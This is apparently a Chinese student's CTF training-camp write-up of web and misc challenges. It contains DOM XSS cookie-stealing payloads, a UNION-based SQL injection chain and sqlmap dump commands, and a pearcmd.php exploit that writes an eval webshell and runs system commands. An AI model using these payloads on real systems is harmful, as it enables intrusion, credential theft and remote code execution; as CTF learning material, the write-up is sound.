0%

ROIS冬令营第二周WriteUp

(1.27更了跟没更似的)ROIS冬令营第二周Write Up

web

[Week2]XssTest

这题没做出来

根据hint1可知:

这是DOM型XSS,其与反射型和存储型的区别是XSS代码的解析,不需要服务器解析响应的直接参与,由浏览器的DOM进行解析。名字也是因此得来。

DOM型的XSS漏洞不同于反射型和存储型并不经过后台,只是在前端被dom获取到,通过dom又在前端输出了。

根据hint2:

  1. 使用JavaScript的document.cookie函数,将cookie输出到页面上;
  2. 将页面的URL地址发送给bot,让bot去截图;
  3. 截图返回后,从截图中提取cookie信息。

cookie是一种存储在用户计算机中的小文件,用于跟踪用户的浏览器会话状态,以便网站能够记住用户的设置,如登录状态、语言和其他参数。

尝试构建语句<script>document.write(document.cookie);</script>失败
还试了些别的,不过都没有成功。。这里就不放了

在网上搜索同类型题时看到一种做法
[ctfhub]-xss详解
然后也用这种办法尝试了,但是cookie那里没有东西出来,猜测可能人家的题是反射型咱这是DOM型(当然还可能是因为别的不过我还在研究

2023/01/26 学习&&尝试

使用<script>存在的问题是:页面加载中<script>标签是已经加载过的,通过JavaScript再往页面再写入<script>标签的话,它是不会去执行的。
【DOM型XSS和其他XSS的区别之一】

document.write()可向文档写入文本内容,如果在文档已完成加载后执行 document.write(),整个 HTML 页面将被覆盖。

padload:
<img src=1 onerror=document.write(document.cookie)>
。。。吗吖加载了两小时小时终于出来了
。。。我不会说我直接图片转文字大写I和小写l全嘎嘎乱出导致我交错了四次但这是事实
。。。吗吖我是若汁

理论上以下几种应该也可以,但是我没成功。。。:
<img src=document.domain onerror=alert(document.cookie)>
<details open ontoggle=document.write(document.cookie)>

[Week2]ez_php_source

用HackBar也能做,不过这里讲BurpSuite

第一部分:

  1. ?b=408
  2. 改POST;
  3. Content-Type: application/x-www-form-urlencoded请求头;
  4. 尾部a=405

第二部分:
首先了解PHP===强弱类型
ctf中MD5绕过详细总结及例题[BJDCTF2020]Easy MD5
然后看得出来这里是强类型,使用数组绕过,用&跟a连在一起
a=405&c[]=1&d[]=2

第三部分:

GET里的变量全都会自动进行urldecode。
POST里的变量只有Content-Type: application/x-www-form-urlencoded下会自动进行urldecode。

由题意得:
$_POST['last1']=='TheBestLanguage====PHP';然后加完密的last1等于解密的last2

可得last2为last1进行urlencode三次

以下为全部的数据包

1
2
3
4
5
6
7
8
9
10
11
12
POST /?b=408&last2=TheBestLanguage%25253D%25253D%25253D%25253DPHP HTTP/1.1
Host: 。。。。
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 46

a=405&c[]=1&d[]=2&last1=TheBestLanguage====PHP

2023/01/27 学习&&尝试

补个Hackbar的。。其实是一样的
GET:http://101.43.57.52:28082/?b=408&last2=TheBestLanguage%253D%253D%253D%253DPHP
POST:a=405&c[]=1&d[]=2&last1=TheBestLanguage====PHP

[Week2]very_easy_sql

首先尝试万能密码admin' or 1=1#,出现用户:why 欢迎登录!字样。

然后。。。。没思路了(目移)。。。用sqlmap做的,这里写一下sqlmap的过程

  1. bp抓包,发现是POST类型的,设置username=why&password=1并把提交的数据包保存下来,保存为xxx.txt
  2. 在sqlmap里输入python sqlmap.py -r "文件路径xxx.txt"
  3. 然后出来了一个heuristic (basic) test shows that POST parameter 'username' might not be injectable和一个heuristic (basic) test shows that POST parameter 'password' might not be injectable表明username和password可能是可注入的
  4. 输入python sqlmap.py -r "文件路径xxx.txt" -dbs获取所有数据库
    1
    2
    3
    4
    5
    6
    available databases [5]:
    [*] ez_sql
    [*] information_schema
    [*] mysql
    [*] performance_schema
    [*] test
  5. 输入python sqlmap.py -r "文件路径xxx.txt" -current-db获得当前数据库
    1
    2
    current database: 'ez_sql'

  6. 输入python sqlmap.py -r "文件路径xxx.txt" -D ez_sql --tables获得数据库ez_sql下的所有表
    1
    2
    3
    4
    5
    Database: ez_sql
    [1 table]
    +-------+
    | users |
    +-------+
  7. 输入python sqlmap.py -r "文件路径xxx.txt" -D ez_sql -T users --columns获取users表里的所有字段
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    Database: ez_sql
    Table: users
    [3 columns]
    +----------+-------------+
    | Column | Type |
    +----------+-------------+
    | id | int(11) |
    | password | varchar(30) |
    | username | varchar(10) |
    +----------+-------------+
  8. 输入python sqlmap.py -r "文件路径xxx.txt" -D ez_sql -T users -C id,password,username --dump获取字段值
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    Database: ez_sql
    Table: users
    [8 entries]
    +----+-------------+----------+
    | id | password | username |
    +----+-------------+----------+
    | 1 | why | why |
    | 2 | nobody | nobody |
    | 3 | does | does |
    | 4 | misc | misc |
    | 5 | im | im |
    | 6 | so | so |
    | 7 | sad | sad |
    | 8 | ROIS{*****} | admin |
    +----+-------------+----------+

sqlmap使用方法参考:
CTF刷题–SQL注入(sqlmap)
sqlmap使用教程(超详细)
[网络安全自学篇] 二十七.Sqlmap基础用法、CTF实战及请求参数设置(一)

2023/01/27 学习&&尝试

按wp顺序过一遍。。显然我自己是不会做的。。

  1. 测测闭合,这里是单引号闭合

闭合判断是进行手动注入的第一步,判断闭合之后就可以开始注入了。

  1. order by测测有几个表

order by是SQL语句中用来指定查询结果按照某个字段排序的语句。

  1. ' order by 3 #是“不存在或密码错误!”
    ' order by 4 #是“啊哦,出错了!”
    易得,表是三列的。

  2. 由于页面总会返回输入的username信息,所以可以尝试把信息输出到这里。

union select是一种 SQL 注入技术,用于查询多个表中的数据。它的工作原理是,将多个查询结果合并成一个结果集,以便攻击者可以从数据库中获取敏感信息。

  1. 输入' union select 1,2,3 #网页输出“用户:2 欢迎登录!”,所有第二列是可以返回信息的。

  2. 输入admin' union select 1,2,3 #网页输出“用户:admin 欢迎登录!”没有输出“2”,所以要用group_concat将所有结果放在同一行内。

group_concat是MySQL数据库的一个函数,它可以将多行查询结果合并为一行,以逗号分隔各个字段。它可以用来检测SQL注入漏洞,因为它可以将多行查询结果合并为一行,以便检测SQL注入漏洞。

  1. 输入admin' union select 1,group_concat(schema_name),3 from information_schema.schemata #获得数据库名称

SCHEMA_NAME,表示数据库名称;
information_schema.schemata是MySQL中的一个系统表,它存储了数据库中每个数据库的信息,包括数据库名称、字符集和排序规则等。

  1. 返回了“用户:information_schema,mysql,performance_schema,test,ez_sql 欢迎登录!”其中ez_sql是当前数据库。

  2. 输入' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='ez_sql' #获得数据库ez_sql下的所有表名称

TABLE_NAME表示所属的表的名称;
TABLE_SCHEMA表示表所属的数据库名称;
information_schema.tables 是MySQL中的一个系统表,它包含了数据库中所有表的信息。它主要用于查询数据库中的表和表的属性,如表名,表的列名,表的类型等。

  1. 返回了“用户:users 欢迎登录!”

  2. 输入' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' #获取users表里的所有字段

COLUMN_NAME表示字段名;
information_schema.columns是MySQL中的一个系统表,它包含了数据库中所有表的列信息,包括列名、数据类型、是否可为空等等。

  1. 返回了“用户:USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password 欢迎登录!”

  2. 输入' union select 1,group_concat(concat_ws(':',id,username,password)),3 from ez_sql.users #获取字段值

concat_ws()函数是MySQL中的一个字符串函数,它可以将多个字符串合并为一个字符串,并且可以在每个字符串之间添加一个分隔符。例如:concat_ws(‘,’,’hello’,’world’)将返回字符串’hello,world’。

  1. 返回了“用户:1:why:why,2:nobody:nobody,3:does:does,4:misc:misc,5:im:im,6:so:so,7:sad:sad,8:admin:ROIS{*****} 欢迎登录!”

[Week2]double_cmd &&[Week2]double_cmd_plus

没做出来

思路:
易得,该段代码会接收来自网页表单的参数cmd,并将其作为文件路径,然后进行包含。但是在包含之前,会将参数中的”flag”字符串替换为空字符。
与我之前看到的文件包含题不同(主要是我没见识),这玩意儿是POST传参的。
我尝试了cmd=flflagag绕过,虽然输出了flag但是不知道下一步该怎么做,然后就卡在这里了。

春节期间比我想得要忙,也没做几道题,只能写点浅显的东西勉勉强强这样子。。。

2023/01/26 学习&&尝试

[Week2]double_cmd

  1. cmd=flflagag双写绕过

没有结果是因为include($cmd)中cmd=flag的flag是在网站目录的,而网站目录会显示404,说明flag应该是在根目录情况下

  1. cmd=/flflagag绝对路径看看,但是无事发生

绝对路径是指文件或文件夹在计算机系统中的完整路径,它包括所有父文件夹的名称,以及最后的文件或文件夹的名称

  1. 由题意得,可以用PHP伪协议绕过cmd=php://filter/convert.base64-encode/resource=/flaflagg

PHP伪协议是一种用于从服务器获取文件的协议,它允许用户以URL的形式从服务器中读取文件,而无需使用FTP或其他文件传输协议。PHP伪协议使用“php://”作为URL的前缀,以便能够识别它。
?file=php://filter/convert.base64-encode/resource=index.php
php://filter/是一种访问本地文件的协议,/read=convert.base64-encode/表示读取的方式是base64编码,resource=index.php表示目标文件为index.php。

2023/01/27 学习&&尝试

[Week2]double_cmd_plus
等等。。还在捋。。。。。。。。

1
2
3
4
5
POST /index.php?+config-create+/&/<?=eval($_POST[123])?>+/tmp/hello.php HTTP/1.1
cmd=flaflagg/../../../../../../../../../../../../usr/local/lib/php/pearcmd.php

http://101.43.57.52:28084/index.php
cmd=flflagag/../../../../../../../../../../../../tmp/hello.php&123=system("/readflag");

按视频做法走了一遍大概是这样。。。让我捋捋。。让我捋捋。。。。。。。

Misc

[Week2]八重神子的尾巴

Winhex,最后面,flag

[Week2]扫雷

我不知道预期解法是什么样的,反正我老老实实扫了两小时雷,扫完出来看得出来是张二维码,但是扫不出来;然后电脑找个画像素画的网站,一格一格涂出来,然后,扫。

[Week2]爱门!

由题意得,是PNG图片格式隐写,把图片高度改高即可。
Winhex打开

00-07 89 50 4E 47 0D 0A 1A 0A 固定
08-0B 标识IHDR区的大小
0C-0F 49 48 44 52 固定(IHDR区)
10-13 图片宽度
14-17 图片高度(本题就是改这里改大就好

[Week2]真的加密了吗?

伪加密,09改回00即可。
Winhex打开

压缩源文件数据区:
50 4B 03 04 头文件标记
14 00 解压文件所需 pkware 版本
00 00 全局加密(改这里

压缩源文件目录区:
50 4B 01 02 目录中文件文件头标记
3F 00 压缩使用的 pkware 版本
14 00 解压文件所需 pkware 版本
00 00 全局方式位标记(还有这里
↑↑↑↑↑↑↑↑改这个会显示是否有密码

压缩源文件目录结束标志:
50 4B 05 06 目录结束标记

[Week2]guess

我觉得根据题意显然是爆破,但是。。。。我爆破了三天,用了各种组合(belike:6位内所有字符;8位内大小写字母,7位内大小写字母加数字,10位数字等等等等等等等)出来了三个密码,输进去打开文件全是乱码,第四天电脑趁我挂机偷偷更新,重启打开都不知道爆破到哪里去了,遂作罢。

(2023年1月25日22点23分:吗吖怎么真靠猜啊。。第一排字母。。确实是很简单。。理是这个理没错。。但是。。但是。。好吧是弱密码爆破倒也没错。。。。。。
(2023年1月25日22点26分:说起来我怎么没想到用十位小写字母爆破一下,没准爆个两天也爆出来了呢(在口嗨

[Week2]透视?

打开压缩包发现5个TXT文件大小分别为16,15,18,16,17字节刚好满足crc32暴破的条件(小于等于18)。
遂采用crc32爆破

很不巧本人还不会用python写脚本爆破,上网找了个CRC32爆破工具
https://github.com/theonlypwner/crc32
使用方法:python crc32.py reverse 0x(crc32密文)
这个工具可以解4字节和6字节的字符串,然而不幸的事情又发生了,这玩意儿里面还有一个3字节和一个5字节,网上找了个别人的代码
CRC32碰撞脚本(1-5字节)
5字节有点慢,不过能凑合着用。

最后一个个解出来拼在一起,就是flag。